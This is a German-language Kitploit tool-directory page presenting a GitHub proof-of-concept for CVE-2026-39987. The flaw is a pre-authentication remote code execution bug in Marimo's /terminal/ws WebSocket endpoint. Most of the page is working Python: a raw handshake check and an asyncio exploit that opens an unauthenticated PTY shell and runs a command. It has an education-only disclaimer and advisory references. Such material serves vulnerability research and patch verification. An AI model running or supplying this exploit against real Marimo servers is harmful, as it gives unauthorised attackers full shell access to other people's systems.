Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/h3raklez/cve-2026-39987
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

Proof-of-Concept-Exploit für die vorauthentifizierte Remote-Codeausführung in Marimo über den WebSocket-Endpunkt, der es nicht authentifizierten Angreifern ermöglicht, eine interaktive PTY-Shell zu erhalten.

Repository anzeigen
119vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987 — Marimo Pre-Auth RCE

Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke.

Beschreibung

Vorauthentifizierte Remote-Codeausführung in Marimo <= 0.20.4.
Der WebSocket-Endpunkt /terminal/ws überspringt die Authentifizierungsprüfung, wodurch ein nicht authentifizierter Angreifer über eine einzige Verbindung eine vollständige interaktive PTY-Shell erhalten kann.

  • CVSS v4.0: 9.3 (Kritisch)
  • CWE: CWE-306 (Fehlende Authentifizierung für kritische Funktion)
  • Betroffene Versionen: <= 0.20.4
  • Behobene Version: 0.23.0

Anforderungen

  • Python 3
  • websockets (pip install websockets)
  • Netzwerkzugriff auf Port 2718 auf dem Zielsystem

Endpunkt-Überprüfung

Bestätigt, dass der Endpunkt Verbindungen ohne Anmeldeinformationen akzeptiert:

import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

Erwartetes Ergebnis: HTTP/1.1 101 Switching Protocols


Exploit

import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Verbindung ohne Authentifizierung hergestellt")
        await asyncio.sleep(0.3)

        # Initialen PTY-Banner lesen
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY-Banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Befehl senden
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Frames bis zum Timeout lesen
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE-Ausgabe]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

Referenzen

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.

Tool herunterladen